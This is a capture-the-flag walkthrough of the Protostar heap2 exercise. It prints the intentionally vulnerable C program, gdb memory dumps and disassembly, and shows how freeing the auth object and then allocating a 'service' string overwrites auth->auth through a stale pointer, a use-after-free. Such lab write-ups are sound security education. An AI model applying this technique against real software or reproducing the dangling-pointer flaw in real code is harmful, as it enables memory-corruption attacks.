Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/heap2 [ auth = (nil), service = (nil) ] auth test [ auth = 0x804c008, service = (nil) ]
Exploit
Get the program to print “you have logged in already!” message
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> struct auth { char name[32]; int auth; }; struct auth *auth; char *service; int main(int argc, char **argv) { char line[128]; while(1) { printf("[ auth = %p, service = %p ]\n", auth, service); if(fgets(line, sizeof(line), stdin) == NULL) break; if(strncmp(line, "auth ", 5) == 0) { auth = malloc(sizeof(auth)); memset(auth, 0, sizeof(auth)); if(strlen(line + 5) < 31) { strcpy(auth->name, line + 5); } } if(strncmp(line, "reset", 5) == 0) { free(auth); } if(strncmp(line, "service", 6) == 0) { service = strdup(line + 7); } if(strncmp(line, "login", 5) == 0) { if(auth->auth) { printf("you have logged in already!\n"); } else { printf("please enter your password\n"); } } } }
Program goes into infinite while loop. Program reads stdin and tries to match keyword commands [“auth “, “reset”, “service”, “login”].
In order to reach the target message we have to pass the condition of auth->auth being a none zero value. Nowhere within the code is auth->auth assigned a value.
If we consider trying to overflow the memory when auth->name is assigned a value from stdin via strcpy, that won’t work either because a string length check is made of the input string restricting to 27 bytes.
Let’s examine the memory contents of auth when it has a value assigned to auth->name
gdb$ r [ auth = (nil), service = (nil) ] auth AAAA gdb$ x /64xb $eax-8 0x804c000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804c008: 0x41 0x41 0x41 0x41 0x0a 0x00 0x00 0x00 0x804c010: 0x00 0x00 0x00 0x00 0xf1 0x0f 0x00 0x00 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
Let’s now issue the ‘login’ command and see where in memory the comparison is made.
=>0x8048a8b <main+343>: mov eax,DWORD PTR [eax+0x20] 0x8048a8e <main+346>: test eax,eax 0x8048a90 <main+348>: je 0x8048aa3 <main+367> 0x8048a92 <main+350>: mov DWORD PTR [esp],0x804ada7 0x8048a99 <main+357>: call 0x804883c <puts@plt> 0x8048a9e <main+362>: jmp 0x8048943 <main+15> 0x8048aa3 <main+367>: mov DWORD PTR [esp],0x804adc3 0x8048aaa <main+374>: call 0x804883c <puts@plt> gdb$ x /32xb $eax 0x804c008: 0x41 0x41 0x41 0x41 0x0a 0x00 0x00 0x00 0x804c010: 0x00 0x00 0x00 0x00 0xf1 0x0f 0x00 0x00 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 gdb$ x /32xb $eax+10 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 gdb$ x /32xb $eax+20 0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c040: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
It’s looking at 0x804c028 for auth->auth.
Let’s run the ‘reset’ command to free this heap object and then examine the ‘auth’ once again.
gdb$ c please enter your password [ auth = 0x804c008, service = (nil) ] reset gdb$ c [ auth = 0x804c008, service = (nil) ] login gdb$ x /48xb $eax-8 0x804c000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804c008: 0x00 0x00 0x00 0x00 0x0a 0x00 0x00 0x00 0x804c010: 0x00 0x00 0x00 0x00 0xf1 0x0f 0x00 0x00 0x804c018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
The heap object is still there but the string is gone.
What if we try to create a new object on the heap using ‘service’ and use a larger size (16 bytes) in memory.
gdb$ c please enter your password [ auth = 0x804c008, service = (nil) ] service SSSSSSSSSSSSSSSS
Examine the ‘login’ command and see if the memory content has changed.
gdb$ c [ auth = 0x804c008, service = 0x804c018 ] login gdb$ x /64xb $eax-8 0x804c000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00 0x804c008: 0x00 0x00 0x00 0x00 0x0a 0x00 0x00 0x00 0x804c010: 0x00 0x00 0x00 0x00 0x19 0x00 0x00 0x00 0x804c018: 0x20 0x53 0x53 0x53 0x53 0x53 0x53 0x53 0x804c020: 0x53 0x53 0x53 0x53 0x53 0x53 0x53 0x53 0x804c028: 0x53 0x0a 0x00 0x00 0xd9 0x0f 0x00 0x00 0x804c030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x804c038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
If you recall from above that that the location for the comparison on auth->auth was at 0x804c028 you can now see that we have managed to over this location with ‘service’.
Although the heap object was freed the ‘stale’ memory pointer to auth->auth is not nulled and still used.
gdb$ c you have logged in already! [ auth = 0x804c008, service = 0x804c018 ]
Thank you